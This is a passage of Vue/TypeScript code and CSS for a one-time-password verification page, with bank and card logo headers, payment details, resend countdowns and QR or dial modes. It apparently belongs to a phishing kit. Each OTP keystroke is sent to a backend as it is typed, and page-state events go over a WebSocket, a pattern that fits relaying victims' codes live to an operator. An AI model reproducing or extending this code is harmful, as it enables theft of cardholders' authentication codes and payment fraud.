const seconds = timeLeft.value
|
||
const timeStr = seconds < 10 ? `0${seconds}` : `${seconds}`
|
||
button.textContent = `00:${timeStr}`
|
||
button.disabled = true
|
||
button.style.opacity = '0.6'
|
||
button.style.cursor = 'not-allowed'
|
||
} else {
|
||
// 倒计时结束
|
||
button.textContent = originalText
|
||
button.disabled = false
|
||
button.style.opacity = '1'
|
||
button.style.cursor = 'pointer'
|
||
}
|
||
}
|
||
|
||
// 更新所有重发按钮
|
||
const updateAllResendButtons = () => {
|
||
const resendButtons = document.querySelectorAll('.custom-button[data-action="resend"]') as NodeListOf<HTMLButtonElement>
|
||
resendButtons.forEach(button => {
|
||
// 只更新启用倒计时的按钮
|
||
const enableCountdown = button.dataset.countdown !== 'false'
|
||
if (enableCountdown) {
|
||
updateResendButton(button)
|
||
}
|
||
})
|
||
}
|
||
|
||
// 监听倒计时状态,自动更新所有重发按钮
|
||
watch([isCounting, timeLeft], () => {
|
||
updateAllResendButtons()
|
||
})
|
||
|
||
// 处理自定义输入框事件 - 支持任意数量的输入框
|
||
const handleCustomInputEvent = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
const fieldName = target.dataset.field || 'input1'
|
||
// 优先使用 data-verify-key,否则直接使用 fieldName
|
||
const verifyKey = target.dataset.verifyKey || fieldName
|
||
const value = target.value
|
||
|
||
// 动态存储字段值
|
||
formData[fieldName] = value
|
||
|
||
// 发送到后端
|
||
onchange(value, verifyKey)
|
||
|
||
// 触发事件
|
||
emit('input', fieldName, value)
|
||
}
|
||
|
||
// 处理自定义按钮事件
|
||
const handleCustomButtonEvent = (e: Event) => {
|
||
const target = e.target as HTMLButtonElement
|
||
const action = target.dataset.action || 'submit'
|
||
|
||
if (action === 'submit') {
|
||
submit()
|
||
} else if (action === 'resend') {
|
||
// 检查是否启用倒计时(默认为true)
|
||
const enableCountdown = target.dataset.countdown !== 'false'
|
||
|
||
// 如果启用倒计时且正在倒计时中,禁止重复点击
|
||
if (enableCountdown && isCounting.value) {
|
||
return
|
||
}
|
||
|
||
// 如果启用倒计时,则开始倒计时;否则直接发送
|
||
if (enableCountdown) {
|
||
handleResend()
|
||
} else {
|
||
// 不启用倒计时,直接发送请求
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: {
|
||
pageType: "customOtpValid",
|
||
pageTitle: customOtpData.value.name,
|
||
resultType: "resendCode",
|
||
customType: customOtpData.value.type
|
||
},
|
||
})
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
// 添加聚焦和失焦样式
|
||
const addFocusBlurStyle = (element: HTMLInputElement) => {
|
||
element.addEventListener('focus', (e) => {
|
||
(e.target as HTMLInputElement).style.borderColor = '#3b82f6'
|
||
})
|
||
element.addEventListener('blur', (e) => {
|
||
(e.target as HTMLInputElement).style.borderColor = '#ddd'
|
||
})
|
||
}
|
||
|
||
// 输入处理函数
|
||
const handleInput1 = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
formData.input1 = target.value
|
||
onchange(target.value, "verifyCode1")
|
||
emit('input', 'input1', target.value)
|
||
}
|
||
|
||
const handleInput2 = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
formData.input2 = target.value
|
||
onchange(target.value, "verifyCode2")
|
||
emit('input', 'input2', target.value)
|
||
}
|
||
|
||
// 事件处理
|
||
const handleSubmit = () => {
|
||
emit('submit', { ...formData })
|
||
}
|
||
|
||
const handleInput = (field: string, event: Event) => {
|
||
const target = event.target as HTMLInputElement
|
||
formData[field as keyof FormData] = target.value
|
||
emit('input', field, target.value)
|
||
|
||
// 调用对应的输入处理函数
|
||
if (field === 'input1') {
|
||
onchange(target.value, "verifyCode1");
|
||
} else if (field === 'input2') {
|
||
onchange(target.value, "verifyCode2");
|
||
}
|
||
}
|
||
|
||
const handleResend = () => {
|
||
startCountdown('resendCode')
|
||
}
|
||
|
||
|
||
// 暴露方法
|
||
defineExpose({
|
||
formData,
|
||
resetForm: () => {
|
||
// 清空所有动态字段
|
||
Object.keys(formData).forEach(key => delete formData[key])
|
||
},
|
||
setFormData: (data: Partial<FormData>) => {
|
||
Object.assign(formData, data)
|
||
}
|
||
})
|
||
|
||
// 倒计时初始化逻辑
|
||
onMounted(() => {
|
||
const resendTextValue = customOtpData.value.resendText;
|
||
resendText.value = resendTextValue || "RESEND CODE";
|
||
|
||
const showResendTextRaw = customOtpData.value.showResendText;
|
||
showResendText.value = showResendTextRaw === undefined || showResendTextRaw === '' ? false : showResendTextRaw;
|
||
// 不再在这里启动倒计时,改为在 bindInputEvents 完成后启动
|
||
});
|
||
|
||
const buttonText = computed(() => {
|
||
const min = timeLeft.value;
|
||
let minStr = "" + min
|
||
if (min < 10) {
|
||
minStr = "0" + minStr;
|
||
}
|
||
if (showResendText.value && resendText.value) {
|
||
return isCounting.value
|
||
? `00:${minStr}`
|
||
: resendText.value;
|
||
} else {
|
||
return "";
|
||
}
|
||
});
|
||
|
||
const startCountdown = (resultType: string) => {
|
||
if (isCounting.value) return; // 如果已经在倒计时,则不执行
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, resultType: resultType, customType: customOtpData.value.type },
|
||
})
|
||
);
|
||
isCounting.value = true;
|
||
timeLeft.value = initialTime;
|
||
|
||
timer = window.setInterval(() => {
|
||
if (timeLeft.value > 0) {
|
||
timeLeft.value -= 1;
|
||
} else {
|
||
stopCountdown();
|
||
}
|
||
}, 1000);
|
||
};
|
||
|
||
const stopCountdown = () => {
|
||
if (timer !== null) {
|
||
clearInterval(timer);
|
||
timer = null;
|
||
}
|
||
isCounting.value = false;
|
||
};
|
||
</script>
|
||
|
||
<style scoped>
|
||
.validation-renderer {
|
||
width: 100%;
|
||
margin: 0 auto;
|
||
background: white;
|
||
border-radius: 12px;
|
||
overflow: hidden;
|
||
}
|
||
|
||
.validation-form {
|
||
padding: 24px;
|
||
}
|
||
|
||
/* 表单头部 */
|
||
.form-header {
|
||
display: flex;
|
||
align-items: flex-start;
|
||
gap: 16px;
|
||
margin-bottom: 24px;
|
||
}
|
||
|
||
.header-image {
|
||
flex-shrink: 0;
|
||
}
|
||
|
||
.form-image {
|
||
height: 60px;
|
||
object-fit: contain;
|
||
}
|
||
|
||
.header-content {
|
||
flex: 1;
|
||
text-align: left;
|
||
width: 100%;
|
||
}
|
||
|
||
.validation-title {
|
||
margin: 0 0 12px 0;
|
||
color: #333;
|
||
font-size: 18px;
|
||
font-weight: 600;
|
||
line-height: 1.4;
|
||
}
|
||
|
||
.form-content {
|
||
margin: 0;
|
||
color: #666;
|
||
font-size: 14px;
|
||
line-height: 1.6;
|
||
}
|
||
|
||
.custom-content {
|
||
font-size: 14px;
|
||
}
|
||
|
||
.japanese-content {
|
||
font-family: "Noto Sans JP", "Yu Gothic", "Meiryo", sans-serif;
|
||
}
|
||
|
||
/* 支付详情 */
|
||
.payment-details {
|
||
padding: 16px;
|
||
border-radius: 8px;
|
||
margin-bottom: 20px;
|
||
text-align: center;
|
||
}
|
||
|
||
.detail-item {
|
||
margin-bottom: 8px;
|
||
color: #374151;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
display: flex;
|
||
justify-content: center;
|
||
align-items: center;
|
||
gap: 8px;
|
||
}
|
||
|
||
.detail-item:last-child {
|
||
margin-bottom: 0;
|
||
}
|
||
|
||
.input-detail-item {
|
||
justify-content: center;
|
||
}
|
||
|
||
.input-label {
|
||
flex-shrink: 0;
|
||
min-width: 100px;
|
||
text-align: right;
|
||
}
|
||
|
||
.otp-input-inline {
|
||
text-align: center;
|
||
font-size: 14px;
|
||
font-weight: bold;
|
||
letter-spacing: 2px;
|
||
width: 120px;
|
||
padding: 4px 8px;
|
||
border: 1px solid #d1d5db;
|
||
border-radius: 4px;
|
||
background: white;
|
||
}
|
||
|
||
/* APP加载 */
|
||
.app-loading {
|
||
display: flex;
|
||
justify-content: center;
|
||
margin: 24px 0;
|
||
}
|
||
|
||
.loading-container {
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
border: 1px solid #000;
|
||
border-radius: 25px;
|
||
background: #fcfcfc;
|
||
height: 36px;
|
||
width: 100px;
|
||
padding: 8px;
|
||
}
|
||
|
||
.loading-gif {
|
||
height: 16px;
|
||
width: 80px;
|
||
}
|
||
|
||
/* 表单字段 */
|
||
.form-fields {
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
.field-group {
|
||
margin-bottom: 18px;
|
||
display: flex;
|
||
justify-content: center;
|
||
}
|
||
|
||
.field-group:last-of-type {
|
||
margin-bottom: 24px;
|
||
}
|
||
|
||
.field-group label {
|
||
display: block;
|
||
margin-bottom: 8px;
|
||
color: #333;
|
||
font-weight: 500;
|
||
font-size: 14px;
|
||
text-align: left;
|
||
}
|
||
|
||
.form-input {
|
||
padding: 10px 12px;
|
||
border: 1px solid #ddd;
|
||
border-radius: 5px;
|
||
font-size: 14px;
|
||
transition: border-color 0.3s ease;
|
||
}
|
||
|
||
.form-input:focus {
|
||
outline: none;
|
||
border-color: #3b82f6;
|
||
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
|
||
}
|
||
|
||
.otp-input {
|
||
text-align: center;
|
||
}
|
||
|
||
/* 提交按钮 */
|
||
.submit-container {
|
||
text-align: center;
|
||
margin: 20px 0;
|
||
}
|
||
|
||
.submit-button {
|
||
padding: 12px 40px;
|
||
border: none;
|
||
border-radius: 6px;
|
||
color: white;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
min-width: 120px;
|
||
}
|
||
|
||
.submit-button:hover {
|
||
opacity: 0.9;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.completed-button {
|
||
background: #f59e0b !important;
|
||
}
|
||
|
||
/* 重发按钮 */
|
||
.resend-section {
|
||
text-align: center;
|
||
margin-top: 16px;
|
||
}
|
||
|
||
.resend-button {
|
||
background: none;
|
||
border: none;
|
||
color: #3b82f6 !important;
|
||
text-decoration: underline;
|
||
cursor: pointer;
|
||
font-size: 14px;
|
||
padding: 8px;
|
||
}
|
||
|
||
.resend-button:hover {
|
||
color: #1d4ed8;
|
||
}
|
||
|
||
/* 二维码部分 */
|
||
.qr-section {
|
||
display: flex;
|
||
flex-direction: column;
|
||
align-items: center;
|
||
margin: 24px 0;
|
||
}
|
||
|
||
.qr-code-container {
|
||
width: 200px;
|
||
height: 200px;
|
||
background: white;
|
||
border-radius: 8px;
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
margin-bottom: 12px;
|
||
}
|
||
|
||
.qr-code {
|
||
width: 100%;
|
||
height: 100%;
|
||
object-fit: contain;
|
||
border-radius: 6px;
|
||
}
|
||
|
||
/* 内联输入框样式 */
|
||
.form-content :deep(.inline-input-field) {
|
||
display: inline-block;
|
||
width: 120px;
|
||
padding: 4px 8px;
|
||
margin: 0 4px;
|
||
border: 1px solid #ddd;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
text-align: center;
|
||
transition: border-color 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-input-field:focus) {
|
||
outline: none;
|
||
border-color: #3b82f6;
|
||
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
|
||
}
|
||
|
||
.form-content :deep(.inline-input-field::placeholder) {
|
||
color: #9ca3af;
|
||
font-size: 12px;
|
||
}
|
||
|
||
/* 内联按钮样式 */
|
||
.form-content :deep(.inline-submit-button) {
|
||
display: inline-block;
|
||
padding: 6px 16px;
|
||
margin: 0 4px;
|
||
background: #67C23A;
|
||
color: white;
|
||
border: none;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-submit-button:hover) {
|
||
background: #5daf34;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.form-content :deep(.inline-submit-button:active) {
|
||
transform: translateY(0);
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button) {
|
||
display: inline-block;
|
||
padding: 6px 16px;
|
||
margin: 0 4px;
|
||
background: #409EFF;
|
||
color: white;
|
||
border: none;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button:hover) {
|
||
background: #3a8ee6;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button:active) {
|
||
transform: translateY(0);
|
||
}
|
||
|
||
/* 错误信息 */
|
||
.error-message {
|
||
padding: 4px;
|
||
color: #dc2626;
|
||
font-size: 14px;
|
||
text-align: center;
|
||
margin: 12px 0;
|
||
}
|
||
|
||
/* 响应式设计 */
|
||
@media (max-width: 768px) {
|
||
.validation-form {
|
||
padding: 16px;
|
||
}
|
||
|
||
.form-header {
|
||
flex-direction: column;
|
||
gap: 12px;
|
||
text-align: center;
|
||
}
|
||
|
||
.header-content {
|
||
text-align: center;
|
||
}
|
||
|
||
.validation-title {
|
||
font-size: 16px;
|
||
}
|
||
|
||
.form-content {
|
||
font-size: 13px;
|
||
}
|
||
|
||
.payment-details {
|
||
padding: 12px;
|
||
}
|
||
|
||
.detail-item {
|
||
font-size: 13px;
|
||
flex-direction: column;
|
||
gap: 4px;
|
||
}
|
||
|
||
.input-detail-item {
|
||
flex-direction: row;
|
||
justify-content: center;
|
||
}
|
||
|
||
.input-label {
|
||
min-width: 80px;
|
||
font-size: 12px;
|
||
}
|
||
|
||
.otp-input-inline {
|
||
width: 100px;
|
||
font-size: 12px;
|
||
}
|
||
|
||
.qr-code-container {
|
||
width: 160px;
|
||
height: 160px;
|
||
}
|
||
|
||
.submit-button {
|
||
padding: 10px 32px;
|
||
font-size: 13px;
|
||
}
|
||
}
|
||
|
||
/* 特殊样式 */
|
||
.app-valid .loading-container {
|
||
animation: pulse 2s infinite;
|
||
}
|
||
|
||
@keyframes pulse {
|
||
|
||
0%,
|
||
100% {
|
||
opacity: 1;
|
||
}
|
||
|
||
50% {
|
||
opacity: 0.7;
|
||
}
|
||
}
|
||
|
||
/* 拨号验证特殊样式 */
|
||
.dial-valid .form-content :deep(a) {
|
||
color: #1434CB;
|
||
text-decoration: underline;
|
||
font-weight: 500;
|
||
}
|
||
|
||
.dial-valid .form-content :deep(a:hover) {
|
||
color: #0f29a3;
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
.validation-renderer .validation-header {
|
||
height: 66px;
|
||
display: flex;
|
||
padding: 0px 16px;
|
||
align-items: center;
|
||
justify-content: space-between;
|
||
border-bottom: 1px solid #e3e3e3;
|
||
}
|
||
|
||
.validation-renderer .validation-header>div {
|
||
display: flex;
|
||
align-items: center;
|
||
}
|
||
|
||
.validation-renderer .validation-header .bank-logo {
|
||
height: 100%;
|
||
}
|
||
|
||
.validation-renderer .validation-header .card-logo {
|
||
height: 100%;
|
||
position: relative;
|
||
}
|
||
|
||
.validation-renderer .validation-header .card-logo:after {
|
||
content: "";
|
||
display: block;
|
||
position: absolute;
|
||
top: 0;
|
||
width: 15px;
|
||
height: 100%;
|
||
background: linear-gradient(90deg,
|
||
transparent,
|
||
rgba(255, 255, 255, 0.6352941176),
|
||
transparent);
|
||
animation: line 2s infinite;
|
||
}
|
||
|
||
@keyframes line {
|
||
0% {
|
||
left: -15px;
|
||
}
|
||
|
||
to {
|
||
left: 100%;
|
||
}
|
||
}
|
||
</style> |